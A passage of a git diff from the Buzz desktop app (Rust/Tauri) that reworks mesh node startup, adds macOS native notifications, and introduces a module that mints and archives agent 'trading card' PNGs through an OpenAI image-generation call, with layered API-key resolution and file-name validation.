Err(format!( - "mesh node started but inference never became ready: {error}; Buzz is restarting to guarantee cleanup" - )); - } - } + // Install (track) the runtime BEFORE probing readiness so it can never be + // orphaned. A readiness timeout is not death: mesh binds its ports before + // weights finish loading / layers finish downloading, and serializes all + // ingress HTTP (this probe included) behind any in-flight turn — a cold + // start can take minutes. The old code stopped the node and restarted the + // app on that timeout, turning startup latency into a restart loop. *runtime = Some(started); drop(runtime); if let Some(config) = sharing_config.as_ref() { + // Installed + tracked == Share Compute is on, so persist the enabled + // config now (mirroring restore), not gated on the probe. Gating it + // meant a slow first start served fine but came back OFF next launch. + // Safe: neither the watchdog (evicts only a closed port) nor restore + // (leaves a warming node alone) can loop a slow-but-alive node, and an + // unstartable config fails earlier in `start()`. Probe is informational. save_mesh_sharing_config(&app, config)?; + if let Err(error) = wait_for_mesh_inference(&config.model_id).await { + eprintln!( + "buzz-mesh: node started but inference is not ready yet ({error}); \ + leaving it to warm up (Share Compute stays armed for next launch)" + ); + } } mesh_llm::publish_current_status_once(&app, "start").await; Ok(status) diff --git a/desktop/src-tauri/src/commands/mod.rs b/desktop/src-tauri/src/commands/mod.rs index 66ef7ef17b..322834630a 100644 --- a/desktop/src-tauri/src/commands/mod.rs +++ b/desktop/src-tauri/src/commands/mod.rs @@ -1,3 +1,4 @@ +mod agent_access; mod agent_auth; mod agent_config; mod agent_discovery; @@ -28,8 +29,10 @@ pub(crate) mod media; mod media_animated; mod media_download; mod media_gif; +mod media_raw; mod media_snapshot_png; mod media_transcode; +mod media_upload_progress; #[cfg(feature = "mesh-llm")] pub(crate) mod mesh_llm; mod messages; @@ -61,6 +64,7 @@ mod window_vibrancy; mod workflows; mod workspace; +pub use agent_access::*; pub use agent_auth::*; pub use agent_config::*; pub use agent_discovery::*; @@ -85,6 +89,7 @@ pub use legacy_storage::*; pub use link_preview::*; pub use media::*; pub use media_download::*; +pub use media_raw::*; #[cfg(feature = "mesh-llm")] pub use mesh_llm::*; pub use messages::*; diff --git a/desktop/src-tauri/src/commands/notifications.rs b/desktop/src-tauri/src/commands/notifications.rs index c13d96ff6d..79aa15f969 100644 --- a/desktop/src-tauri/src/commands/notifications.rs +++ b/desktop/src-tauri/src/commands/notifications.rs @@ -1,4 +1,4 @@ -//! Native (Linux) desktop-notification helper. +//! Native desktop-notification helpers. //! //! `tauri-plugin-notification` posts a notification by calling `notify_rust`'s //! `show()` and then immediately dropping the returned `NotificationHandle`. @@ -13,13 +13,15 @@ //! action, which we forward to the frontend so it can focus the window and //! route to the notification target. +pub(crate) const NATIVE_NOTIFICATION_ACTIVATED_EVENT: &str = "native-notification-activated"; + /// Show a desktop notification natively. /// -/// On Linux this uses the connection-preserving path described above. On other -/// platforms the bundled notification plugin already works correctly, so the -/// frontend never calls this and we simply report that it is unused. +/// Linux uses the connection-preserving D-Bus path described above. macOS uses +/// one application-lifetime `UNUserNotificationCenterDelegate`; it does not +/// allocate a listener or waiter for each notification. #[tauri::command] -pub fn show_native_notification( +pub async fn show_native_notification( app: tauri::AppHandle, title: String, body: Option, @@ -31,21 +33,24 @@ pub fn show_native_notification( Ok(()) } - #[cfg(not(target_os = "linux"))] + #[cfg(target_os = "macos")] + { + let _ = app; + crate::macos_notifications::show(title, body, target).await + } + + #[cfg(not(any(target_os = "linux", target_os = "macos")))] { let _ = (&app, &title, &body, &target); - Err("show_native_notification is only supported on Linux".to_string()) + Err("show_native_notification is only supported on Linux and macOS".to_string()) } } #[cfg(target_os = "linux")] mod linux { + use super::NATIVE_NOTIFICATION_ACTIVATED_EVENT; use tauri::Emitter; - /// Emitted to the frontend when the user clicks a native notification. The - /// payload is the opaque target object the frontend passed in. - const ACTIVATE_EVENT: &str = "native-notification-activated"; - pub fn show( app: tauri::AppHandle, title: String, @@ -96,7 +101,7 @@ mod linux { // The frontend focuses the window on activation (the same path // every other platform uses), so we only forward the target. - let _ = app.emit(ACTIVATE_EVENT, target); + let _ = app.emit(NATIVE_NOTIFICATION_ACTIVATED_EVENT, target); }); }); } diff --git a/desktop/src-tauri/src/commands/observer_archive.rs b/desktop/src-tauri/src/commands/observer_archive.rs index 707e86b63a..d8b2832b92 100644 --- a/desktop/src-tauri/src/commands/observer_archive.rs +++ b/desktop/src-tauri/src/commands/observer_archive.rs @@ -1,54 +1,18 @@ -//! Build-time flag and runtime dev-nest check for observer-feed archive policy. +//! Observer-feed archive default — always enabled. //! -//! `observer_archive_default_enabled()` returns `true` when either: -//! - `BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT` was set at build time (internal -//! builds bake in the flag via `build.rs`), **or** -//! - the running binary is using the dev nest (`~/.buzz-dev`), which is the -//! case for all dev builds launched with `just staging` or `just dev`. -//! -//! When `true`, the frontend reconciles the observer archive subscription -//! every startup — unconditionally ensuring kind 24200 exists in the DB -//! regardless of stale localStorage markers. -//! -//! OSS prod builds (baked flag unset, prod nest `~/.buzz`) return `false` — -//! no reconciliation; the user manages the subscription via Settings. +//! `observer_archive_default_enabled()` returns `true` unconditionally. +//! The frontend calls this every startup to decide whether to reconcile the +//! `owner_p` subscription for kind 24200 (observer frames). Kind 24200 events +//! are ephemeral — not stored by the relay — so local archiving is the only +//! way to retain them. -/// Returns `true` when observer-feed archive policy is enforced. +/// Returns `true`: observer-feed archive defaults to enabled for all builds. /// -/// True when the build has the internal baked flag set, or when the running -/// binary is using the dev nest (`~/.buzz-dev`). The frontend calls this -/// every startup to decide whether to reconcile the `owner_p` subscription. +/// The frontend reconciles the `owner_p` subscription every startup when this +/// returns `true`. A user who has explicitly disabled the toggle keeps it off +/// because the Settings card's explicit-opt-out path deletes the subscription +/// and the seed hook skips identities that already have an explicit choice. #[tauri::command] pub fn observer_archive_default_enabled() -> bool { - option_env!("BUZZ_DESKTOP_BUILD_OBSERVER_ARCHIVE_DEFAULT").is_some() - || crate::managed_agents::nest_is_dev() -} - -#[cfg(test)] -mod tests { - use super::*; - - // `nest_is_dev()` is deterministic-false in unit tests: NEST_DIR OnceLock - // is uninitialized → falls back to prod `~/.buzz` (nest.rs:101-106), so - // the compiled flag is the sole variable. No runner normalization needed. - // - // #[ignore]: requires BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT to be - // set — `just desktop-tauri-test-compiled-flags` runs it explicitly with - // `--ignored` under both compile states; general `cargo test` skips it. - #[test] - #[ignore] - fn test_observer_archive_default_enabled_matches_expected() { - let result = observer_archive_default_enabled(); - let expected_str = std::env::var("BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT").expect( - "BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT must be set — \ - the dual-compile CI step supplies it; bare `cargo test` is \ - not sufficient to validate compiled-flag behavior", - ); - let expected = expected_str == "true" || expected_str == "1"; - assert_eq!( - result, expected, - "observer_archive_default_enabled() returned {result}, \ - expected {expected} (BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT={expected_str:?})" - ); - } + true } diff --git a/desktop/src-tauri/src/commands/personas/card.rs b/desktop/src-tauri/src/commands/personas/card.rs new file mode 100644 index 0000000000..29a5c35e6a --- /dev/null +++ b/desktop/src-tauri/src/commands/personas/card.rs @@ -0,0 +1,999 @@ +//! `mint_agent_card` / `save_agent_card` Tauri commands — Agent Trading Cards. +//! +//! Mints a collectible trading-card PNG for an agent via one OpenAI Responses +//! API call (designer model + native `image_generation` tool), then embeds the +//! agent's `buzz_agent_snapshot` manifest through the existing snapshot +//! encoder so the card IS an importable `.agent.png`. +//! +//! Boundary rules (agreed with Wren, buzz-agent-trading-cards thread): +//! - Snapshot construction/injection reuses `agent_snapshot.rs` — cards +//! inherit manifest-v1 behavior, exclusions, and size checks. No card-only +//! wire format exists. +//! - Memory inclusion is opt-in and shares the export flow's semantics: the +//! same three levels (`none`/`core`/`everything`), the same owner-gated +//! `get_agent_memory` fetch, and a memory source DERIVED from the resolved +//! instance (never caller-supplied), so cross-agent memory pairing is +//! structurally impossible. The default is `none`; the encoder still +//! rejects `none` + entries. +//! - The 10 MiB `.agent.png` ceiling is enforced on the FINAL bytes (after +//! resize + chunk injection) via `validate_snapshot_encode_size`. +//! - Round-trip verification decodes the final bytes and compares the logical +//! manifest before anything is returned to the frontend. +//! - The API key is resolved through the same env layering the agent runtime +//! uses (global config < persona < agent record) and never leaves Rust. +//! It is never logged. + +use base64::{engine::general_purpose::STANDARD, Engine as _}; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, State}; + +use super::super::export_util::save_bytes_with_dialog; +use super::snapshot::{ + memory_entries_from_listing, parse_memory_level, resolve_from_lists, + validate_snapshot_encode_size, +}; +use crate::{ + app_state::AppState, + commands::engrams::get_agent_memory, + managed_agents::{ + agent_snapshot::{ + build_snapshot, decode_avatar_data_url, decode_snapshot_png, encode_snapshot_png, + extract_chunk_payload_png, MemoryLevel, + }, + agent_snapshot_envelope::{ + decrypt_envelope, encode_locked_snapshot_png, parse_chunk_payload, ChunkPayload, + }, + load_agent_definitions, load_global_agent_config, load_managed_agents, load_personas, + save_global_agent_config, validate_global_config, + }, +}; + +/// The Buzz card frame template — Tyler's gold-honeycomb base. Generation +/// input only: it never participates in the snapshot manifest, PNG chunk, +/// import decoder, or attachment validation. Embedded at compile time for +/// deterministic packaging (see `card_template_decodes` test). +const CARD_TEMPLATE_PNG: &[u8] = include_bytes!("../../../assets/card_template.png"); + +/// Designer model driving copy + art direction. +const DESIGNER_MODEL: &str = "gpt-5.6-sol"; +/// Image model invoked natively via the Responses `image_generation` tool. +const IMAGE_MODEL: &str = "gpt-image-2"; +/// Final card width in pixels (2:3 portrait → 1500x2250). +const CARD_WIDTH: u32 = 1500; +/// Longest edge for the real avatar inlined into an unlocked card's manifest. +/// Kind:0 pictures render small; 512px keeps the doubly-base64-encoded +/// manifest chunk modest next to the 1500-wide card body. +const MANIFEST_AVATAR_MAX_DIM: u32 = 512; +/// Upper bound for a fetched avatar (pre-resize input to the model). +const MAX_AVATAR_FETCH_BYTES: usize = 10 * 1024 * 1024; +/// One mint is a single long API call (~2–3 minutes observed). +const MINT_TIMEOUT_SECS: u64 = 600; + +/// Error prefix the frontend matches to route the user to provider settings +/// instead of showing a raw failure. +pub(crate) const NO_KEY_ERROR_PREFIX: &str = "NO_OPENAI_KEY:"; + +/// Wire shape returned by `mint_agent_card`. +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct MintedCard { + /// Final `.agent.png` bytes (chunk-injected, round-trip verified), + /// base64-encoded for the IPC boundary. + pub card_png_base64: String, + /// Suggested filename, e.g. `eva.agent.png`. + pub file_name: String, + /// Designer commentary emitted alongside the image (may be empty). + pub designer_notes: String, + /// True when the embedded snapshot is NIP-44-encrypted to the + /// (owner, agent) pair — only their nsecs can import this card. + pub locked: bool, + /// How much memory is embedded in the card's snapshot ("none"/"core"/ + /// "everything"). The viewer's import disclosure depends on this. + pub memory_level: MemoryLevel, +} + +// ── Card archive ────────────────────────────────────────────────────────────── + +/// Sidecar metadata for one archived card PNG. Stored as `.json` next +/// to `.agent.png` in the cards dir — two plain files per mint, no +/// shared index to corrupt. Listing scans sidecars; a card whose PNG is +/// missing is skipped rather than failing the whole list. +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct ArchivedCardMeta { + /// Unique on-disk PNG file name within the cards dir. + pub stored_file_name: String, + /// Suggested save-as name, e.g. `eva.agent.png`. + pub file_name: String, + /// The id the card was minted for (instance pubkey or definition slug). + pub agent_id: String, + pub agent_name: String, + pub designer_notes: String, + pub locked: bool, + /// Memory embedded in this card's snapshot. Defaults to `None` when the + /// sidecar predates the field — every pre-field mint was minted with + /// `MemoryLevel::None` (it was structural), so the default is honest. + #[serde(default)] + pub memory_level: MemoryLevel, + /// ISO-8601 mint timestamp. + pub minted_at: String, + /// Small JPEG preview for gallery grids, base64. Populated by + /// `list_agent_cards` from the sidecar thumb file — never stored in the + /// JSON sidecar itself. + #[serde(default, skip_deserializing)] + pub thumb_jpeg_base64: Option, +} + +fn cards_dir(app: &AppHandle) -> Result { + let dir = crate::managed_agents::managed_agents_base_dir(app)?.join("cards"); + std::fs::create_dir_all(&dir).map_err(|e| format!("failed to create cards dir: {e}"))?; + Ok(dir) +} + +/// Persist a freshly minted card to the archive. Failures are surfaced to the +/// caller (which logs and continues) — an archive write must never fail a +/// mint the user already paid for. +fn archive_minted_card( + app: &AppHandle, + agent_id: &str, + agent_name: &str, + card: &MintedCard, + bytes: &[u8], +) -> Result { + let dir = cards_dir(app)?; + let stem = format!( + "{}-{}", + crate::util::slugify(agent_name, "agent", 50), + uuid::Uuid::new_v4() + ); + let stored_file_name = format!("{stem}.agent.png"); + let meta = ArchivedCardMeta { + stored_file_name: stored_file_name.clone(), + file_name: card.file_name.clone(), + agent_id: agent_id.to_string(), + agent_name: agent_name.to_string(), + designer_notes: card.designer_notes.clone(), + locked: card.locked, + memory_level: card.memory_level, + minted_at: crate::util::now_iso(), + thumb_jpeg_base64: None, + }; + // PNG first, sidecar second: a crash between the two leaves an orphaned + // PNG (invisible to the list), never a sidecar pointing at nothing. + std::fs::write(dir.join(&stored_file_name), bytes) + .map_err(|e| format!("failed to write archived card: {e}"))?; + let meta_json = serde_json::to_string_pretty(&meta) + .map_err(|e| format!("failed to serialize card metadata: {e}"))?; + std::fs::write(dir.join(format!("{stem}.json")), meta_json) + .map_err(|e| format!("failed to write card metadata: {e}"))?; + // Thumb last and best-effort: the gallery grid falls back to lazy + // full-card loading for a card whose thumb is missing. + if let Ok(thumb) = encode_card_thumb(bytes) { + let _ = std::fs::write(dir.join(format!("{stem}.thumb.jpg")), thumb); + } + Ok(meta) +} + +/// Downscale card PNG bytes to a small JPEG for gallery grids. The full card +/// is ~1500x2250 PNG (megabytes); shipping that per card over IPC just to +/// draw a grid tile is waste. +fn encode_card_thumb(bytes: &[u8]) -> Result, String> { + const THUMB_WIDTH: u32 = 300; + let img = image::load_from_memory(bytes).map_err(|e| format!("thumb decode: {e}"))?; + let scale = THUMB_WIDTH as f64 / img.width() as f64; + let thumb = img.resize( + THUMB_WIDTH, + (img.height() as f64 * scale).round().max(1.0) as u32, + image::imageops::FilterType::Triangle, + ); + let mut out = Vec::new(); + // JPEG has no alpha; cards are opaque, so flatten unconditionally. + let rgb = image::DynamicImage::ImageRgb8(thumb.to_rgb8()); + rgb.write_to( + &mut std::io::Cursor::new(&mut out), + image::ImageFormat::Jpeg, + ) + .map_err(|e| format!("thumb encode: {e}"))?; + Ok(out) +} + +/// Reject any archive file name that could escape the cards dir or name a +/// non-archive file. Archive names are generated by `archive_minted_card` +/// (slug + UUID), so a strict shape check loses nothing legitimate. +fn validate_archive_file_name(stored_file_name: &str) -> Result<(), String> { + let valid = stored_file_name.ends_with(".agent.png") + && !stored_file_name.contains(['/', '\\']) + && !stored_file_name.contains(".."); + if !valid { + return Err("Invalid archived card file name.".to_string()); + } + Ok(()) +} + +/// List all archived cards, newest first. +#[tauri::command] +pub fn list_agent_cards(app: AppHandle) -> Result, String> { + let dir = cards_dir(&app)?; + let entries = std::fs::read_dir(&dir).map_err(|e| format!("failed to read cards dir: {e}"))?; + let mut cards = Vec::new(); + for entry in entries.flatten() { + let path = entry.path(); + if path.extension().and_then(|e| e.to_str()) != Some("json") { + continue; + } + let Ok(content) = std::fs::read_to_string(&path) else { + continue; + }; + let Ok(meta) = serde_json::from_str::(&content) else { + // A malformed sidecar hides one card, never the archive. + eprintln!( + "buzz-desktop: card-archive: skipping malformed sidecar {}", + path.display() + ); + continue; + }; + let mut meta = meta; + if validate_archive_file_name(&meta.stored_file_name).is_ok() + && dir.join(&meta.stored_file_name).is_file() + { + // Attach the pre-rendered grid thumb when present (best-effort). + if let Some(stem) = path.file_stem().and_then(|s| s.to_str()) { + meta.thumb_jpeg_base64 = std::fs::read(dir.join(format!("{stem}.thumb.jpg"))) + .ok() + .map(|b| STANDARD.encode(&b)); + } + cards.push(meta); + } + } + // ISO-8601 sorts lexicographically; newest first. + cards.sort_by(|a, b| b.minted_at.cmp(&a.minted_at)); + Ok(cards) +} + +/// Load one archived card's PNG bytes as base64, keyed by its stored file +/// name (as returned by `list_agent_cards`). +#[tauri::command] +pub fn load_agent_card(stored_file_name: String, app: AppHandle) -> Result { + validate_archive_file_name(&stored_file_name)?; + let bytes = std::fs::read(cards_dir(&app)?.join(&stored_file_name)) + .map_err(|e| format!("failed to read archived card: {e}"))?; + Ok(STANDARD.encode(&bytes)) +} + +// ── Key resolution ──────────────────────────────────────────────────────────── + +/// Pure layering: global env < persona env < agent record env, then the +/// process environment as a development fallback. Returns the first +/// non-empty value for `key`. +pub(crate) fn resolve_env_from_layers( + key: &str, + global_env: &std::collections::BTreeMap, + persona_env: &std::collections::BTreeMap, + record_env: &std::collections::BTreeMap, + process_value: Option, +) -> Option { + for layer in [record_env, persona_env, global_env] { + if let Some(v) = layer.get(key) { + let v = v.trim(); + if !v.is_empty() { + return Some(v.to_string()); + } + } + } + process_value.filter(|k| !k.trim().is_empty()) +} + +/// Pure classification: same four env inputs as `resolve_env_from_layers`, +/// returns which layer supplies `OPENAI_API_KEY` (agent > persona > global > +/// process > none). +pub(crate) fn resolve_key_layer( + global_env: &std::collections::BTreeMap, + persona_env: &std::collections::BTreeMap, + record_env: &std::collections::BTreeMap, + process_value: Option, +) -> &'static str { + let key = "OPENAI_API_KEY"; + let nonempty = |m: &std::collections::BTreeMap| { + m.get(key).is_some_and(|v| !v.trim().is_empty()) + }; + if nonempty(record_env) { + return "agent"; + } + if nonempty(persona_env) { + return "persona"; + } + if nonempty(global_env) { + return "global"; + } + let proc = process_value.as_deref().unwrap_or(""); + if !proc.trim().is_empty() { + return "process"; + } + "none" +} + +/// The Responses endpoint to post mints to. `OPENAI_BASE_URL` (same env +/// layering as the key) overrides the default host, supporting endpoints and +/// proxies that speak the OpenAI Responses shape with Bearer auth. Azure +/// OpenAI is NOT covered by this override alone — it uses its own URL scheme +/// and `api-key` auth header, which would need a real driver. +pub(crate) fn responses_url(base_url: Option) -> String { + let base = base_url.unwrap_or_else(|| "https://api.openai.com/v1".to_string()); + format!("{}/responses", base.trim_end_matches('/')) +} + +// ── Prompt construction ─────────────────────────────────────────────────────── + +/// Build the designer instructions. Pure so tests can pin the contract: +/// style-match-the-avatar is DEFAULT behavior; owner directions (art AND +/// card text) take primacy over those style defaults, but never over the +/// fixed contract (frame identity, geometry, text fidelity). +pub(crate) fn build_card_instructions( + agent_name: &str, + persona_notes: &str, + style_notes: &str, +) -> String { + let owner_directions = if style_notes.trim().is_empty() { + String::new() + } else { + format!( + "\nOWNER'S DIRECTIONS — these override the default art-style and copy guidance \ + below wherever they conflict (they cannot change the frame, layout, or \ + text-fidelity requirements). The owner may direct the art, the card text \ + (type line, ability, flavor), or both:\n{style_notes}\n" + ) + }; + format!( + r#"You are designing one premium collectible trading card for the Buzz agent "{agent_name}". + +Input image 1 is the official Buzz card frame template (gold honeycomb border, dark interior, name banner top, hex badge top-right, text box lower third). Input image 2 is the agent's avatar — study its exact art style: medium, pixel grid if any, palette, shading, background motifs. + +Persona notes for the card copy: +{persona_notes} +{owner_directions} +First, write professional trading-card copy at Magic: The Gathering editorial quality: +- a type line (e.g. "Legendary Agent — Team Lead"), +- ONE keyworded ability: short bolded ability name + one sentence of crisp rules text written like real MTG rules (present tense, precise, no fluff), +- ONE italic flavor-text line, evocative and short, the kind that gets quoted. +Where the owner's directions specify card text, use their wording within the 220-character text-box limit below (edited only for spelling; if their text exceeds the limit, condense it minimally while keeping their words and intent); invent copy only for the parts they left open. +Keep total text-box copy under 220 characters so it renders cleanly. + +Then generate the finished card with the image tool, exactly 1024x1536 portrait: +- The frame must follow input image 1 faithfully: same gold honeycomb border, same layout, honey drip detail. +- Default art style: match input image 2's art style EXACTLY — same medium, same pixel density if pixel art, same palette, same background honeycomb-lattice sky. It must look like the same artist drew a larger scene: the character in a confident pose, conjuring glowing golden hexagons. The owner's directions above override any of this default styling where they conflict. +- Name banner: "{agent_name}" plus the type line beneath it in smaller type. +- Text box: the ability name in bold, rules text in regular, then the flavor line in italics, cleanly typeset like a real MTG card — professional kerning, no misspellings, hyphenate nothing. +- Top-right hex badge: one small emblem of your choice, no text. +Render all text with perfect fidelity."# + ) +} + +/// Encode raw image bytes as a `data:image/png;base64,` URL, downscaling to +/// `max_dim` on the longest edge so request payloads stay small. +fn image_data_url(bytes: &[u8], max_dim: u32) -> Result { + Ok(format!( + "data:image/png;base64,{}", + STANDARD.encode(png_bytes_resized(bytes, max_dim)?) + )) +} + +/// Re-encode an image as PNG, downscaling so neither side exceeds `max_dim`. +fn png_bytes_resized(bytes: &[u8], max_dim: u32) -> Result, String> { + let img = image::load_from_memory(bytes).map_err(|e| format!("Failed to decode image: {e}"))?; + let img = if img.width().max(img.height()) > max_dim { + img.resize(max_dim, max_dim, image::imageops::FilterType::Lanczos3) + } else { + img + }; + let mut png = Vec::new(); + img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png) + .map_err(|e| format!("Failed to encode image: {e}"))?; + Ok(png) +} + +// ── Response parsing ────────────────────────────────────────────────────────── + +/// Extract the generated image (base64) and any designer text from a +/// Responses API payload. Pure for testability. +pub(crate) fn extract_card_output(resp: &serde_json::Value) -> Result<(String, String), String> { + let output = resp + .get("output") + .and_then(|o| o.as_array()) + .ok_or_else(|| "Responses payload has no output array".to_string())?; + + let mut image_b64 = None; + let mut notes = Vec::new(); + for item in output { + match item.get("type").and_then(|t| t.as_str()) { + Some("image_generation_call") => { + if let Some(result) = item.get("result").and_then(|r| r.as_str()) { + image_b64 = Some(result.to_string()); + } + } + Some("message") => { + if let Some(content) = item.get("content").and_then(|c| c.as_array()) { + for c in content { + if c.get("type").and_then(|t| t.as_str()) == Some("output_text") { + if let Some(text) = c.get("text").and_then(|t| t.as_str()) { + notes.push(text.to_string()); + } + } + } + } + } + _ => {} + } + } + + let image_b64 = image_b64.ok_or_else(|| { + let types: Vec<&str> = output + .iter() + .filter_map(|i| i.get("type").and_then(|t| t.as_str())) + .collect(); + format!("No image in Responses output (item types: {types:?})") + })?; + Ok((image_b64, notes.join("\n"))) +} + +// ── Commands ────────────────────────────────────────────────────────────────── + +/// Save an `OPENAI_API_KEY` into the global Agent Defaults env for card +/// minting — a narrow seam with deliberately different semantics from the +/// general `set_global_agent_config`: +/// +/// - **No agent restarts.** The general command stops/restarts every running +/// local agent whose effective env changes, because agent env is baked at +/// spawn time. The mint command re-reads the config from disk on every +/// mint, so minting needs no restart — and a card setup must never disrupt +/// running agents as a side effect. Agents pick the key up naturally on +/// their next (re)start. +/// - **Read-modify-write of the latest on-disk config.** The config is +/// re-read immediately before the single-key insert + write (under the +/// managed-agents store lock, which serializes it against the other card +/// and agent-store commands), so a settings save that landed after this +/// dialog opened is not clobbered with a stale dialog-open snapshot. +/// (The general settings editor performs its own whole-config write; as +/// today, the last writer wins between the two surfaces.) +/// +/// Standard global-config validation still applies (POSIX key shape, +/// reserved-key reject, size caps) — this is not a validation bypass. +#[tauri::command] +pub fn card_mint_save_openai_key( + key: String, + app: AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { + let key = key.trim().to_string(); + if key.is_empty() { + return Err("API key cannot be empty.".to_string()); + } + + let _store_guard = state + .managed_agents_store_lock + .lock() + .map_err(|e| e.to_string())?; + + let mut config = load_global_agent_config(&app)?; + config.env_vars.insert("OPENAI_API_KEY".to_string(), key); + validate_global_config(&config)?; + save_global_agent_config(&app, &config) +} + +/// Report which env layer resolves the OpenAI key for a card mint of agent +/// `id` — same layering as `mint_agent_card`. Delegates to `resolve_key_layer` +/// for the classification; see that helper for the return-value contract. +#[tauri::command] +pub fn card_mint_key_status( + id: String, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + let _store_guard = state + .managed_agents_store_lock + .lock() + .map_err(|e| e.to_string())?; + + let instances = load_managed_agents(&app)?; + let definitions = load_agent_definitions(&app)?; + let (record, _) = resolve_from_lists(&id, &instances, &definitions)?; + + let global = load_global_agent_config(&app).unwrap_or_default(); + let personas = load_personas(&app).unwrap_or_default(); + let persona_env = record + .persona_id + .as_deref() + .and_then(|pid| personas.iter().find(|p| p.id == pid)) + .map(|p| p.env_vars.clone()) + .unwrap_or_default(); + + Ok(resolve_key_layer( + &global.env_vars, + &persona_env, + &record.env_vars, + std::env::var("OPENAI_API_KEY").ok(), + ) + .to_string()) +} + +/// Mint a trading card for the agent identified by `id` (instance pubkey, +/// instance slug, or definition slug — same resolution as snapshot export). +/// +/// When `lock` is true the embedded manifest is NIP-44-encrypted to the +/// (owner, agent) pair per the locked-envelope contract — this requires a +/// linked agent instance (the second key endpoint); bare definitions cannot +/// be locked. +/// +/// When `memory_level` is `"core"` or `"everything"`, the owner's decrypted +/// memory for the agent is embedded in the manifest — same levels and fetch +/// as snapshot export. The memory source is always the resolved instance +/// itself (derived, never caller-supplied), so it requires a linked instance; +/// bare definitions can only mint `"none"` (the default). +/// +/// Returns the final, chunk-injected, round-trip-verified `.agent.png` bytes. +/// Reroll = call again; the command holds no session state. +#[tauri::command] +pub async fn mint_agent_card( + id: String, + style_notes: Option, + lock: Option, + memory_level: Option, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + let lock = lock.unwrap_or(false); + let memory_level = parse_memory_level(memory_level.as_deref().unwrap_or(""))?; + // ── Resolve the record + API key under lock ────────────────────────────── + let (mut record, is_definition, api_key, base_url) = { + let _store_guard = state + .managed_agents_store_lock + .lock() + .map_err(|e| e.to_string())?; + + let instances = load_managed_agents(&app)?; + let definitions = load_agent_definitions(&app)?; + let (record, is_definition) = + resolve_from_lists(&id, &instances, &definitions).map(|(r, d)| (r.clone(), d))?; + + let global = load_global_agent_config(&app).unwrap_or_default(); + let personas = load_personas(&app).unwrap_or_default(); + let persona_env = record + .persona_id + .as_deref() + .and_then(|pid| personas.iter().find(|p| p.id == pid)) + .map(|p| p.env_vars.clone()) + .unwrap_or_default(); + + let api_key = resolve_env_from_layers( + "OPENAI_API_KEY", + &global.env_vars, + &persona_env, + &record.env_vars, + std::env::var("OPENAI_API_KEY").ok(), + ) + .ok_or_else(|| { + format!( + "{NO_KEY_ERROR_PREFIX} No OPENAI_API_KEY found. Add one in the agent's \ + environment variables or global agent settings to mint cards." + ) + })?; + let base_url = resolve_env_from_layers( + "OPENAI_BASE_URL", + &global.env_vars, + &persona_env, + &record.env_vars, + std::env::var("OPENAI_BASE_URL").ok(), + ); + + (record, is_definition, api_key, base_url) + }; + + // ── Locking needs its two exact key endpoints up front, BEFORE the + // API spend: the owner identity secret and the agent instance pubkey. + let lock_keys = if lock { + if is_definition { + return Err( + "Locked cards need a linked agent instance — this persona has never been \ + started, so there is no agent key to lock to." + .to_string(), + ); + } + let owner_keys = state.signing_keys()?; + // Same canonical check the envelope decoder enforces (incl. curve + // validation) — a non-point record pubkey must fail BEFORE the API + // spend, not at post-mint encryption. + let agent_pubkey = crate::managed_agents::agent_snapshot_envelope::parse_canonical_pubkey( + "agentPubkey", + &record.pubkey, + ) + .map_err(|_| { + "Agent record has an invalid pubkey (not a canonical x-only key).".to_string() + })?; + if owner_keys.public_key() == agent_pubkey { + return Err("Cannot lock a card to itself: owner and agent keys match.".to_string()); + } + Some((owner_keys, agent_pubkey)) + } else { + None + }; + + // ── Memory needs a keyed instance, resolved up front BEFORE the API + // spend — the memory source is always the resolved instance itself + // (derived, never caller-supplied), so cross-agent pairing cannot be + // expressed. A failed fetch fails the mint here, not after payment. + let memory_entries = if memory_level == MemoryLevel::None { + Vec::new() + } else { + if is_definition { + return Err( + "Cards with memory need a linked agent instance — this persona has never \ + been started, so there is no agent memory to include." + .to_string(), + ); + } + let listing = get_agent_memory(record.pubkey.clone(), app.clone(), state.clone()).await?; + memory_entries_from_listing(listing, memory_level) + }; + + let display_name = record + .display_name + .clone() + .unwrap_or_else(|| record.name.clone()); + + // ── Prefer the agent's own kind:0 profile picture ──────────────────────── + // The record's `avatar_url` is a stale presentation snapshot: with + // agent-managed profiles the agent updates its own kind:0 `picture` and + // desktop reconciliation is disabled (`agent_settings.rs`), so the relay + // profile — not the local record — is the live source of truth for how the + // agent looks. Definitions have no keypair and thus no kind:0; they keep + // the record's avatar. A relay error fails the mint here, BEFORE the API + // spend (same fail-early rule as the key/memory guards above) — minting + // with the wrong face wastes the spend it was supposed to protect. + if !is_definition { + let relay_url = crate::relay::effective_agent_relay_url( + &record.relay_url, + &crate::relay::relay_ws_url_with_override(&state), + ); + let profile = crate::relay::query_agent_profile(&state, &relay_url, &record.pubkey) + .await + .map_err(|e| format!("Could not read the agent's profile for its avatar: {e}"))?; + record.avatar_url = preferred_avatar_url( + profile.and_then(|info| info.picture), + record.avatar_url.take(), + ); + } + + // ── Resolve avatar bytes (data URL, else fetch) ────────────────────────── + let avatar_bytes = match record.avatar_url.as_deref() { + Some(url) if url.starts_with("data:") => decode_avatar_data_url(url) + .ok_or_else(|| "Agent avatar data URL could not be decoded.".to_string())?, + Some(url) if url.starts_with("http://") || url.starts_with("https://") => { + // Relay-hosted avatars (kind:0 pictures under the relay's /media/) + // may require Blossom get-auth (`require_media_get_auth`). Mint the + // header ONLY for same-origin URLs so the token never leaves the + // relay (same contract as `media_download.rs`). + let relay_base = crate::relay::relay_api_base_url_with_override(&state); + let auth = is_same_origin(url, &relay_base) + .then(|| crate::commands::media::mint_media_get_auth(&state, &relay_base)) + .flatten(); + fetch_avatar(url, auth.as_deref()).await? + } + _ => { + return Err( + "Agent has no avatar image. Set an avatar before minting a card.".to_string(), + ) + } + }; + + // ── Build the manifest now (with any requested memory) so a broken agent + // fails before we spend minutes on the API call. ─────────────────────── + let manifest_avatar = manifest_avatar_bytes( + 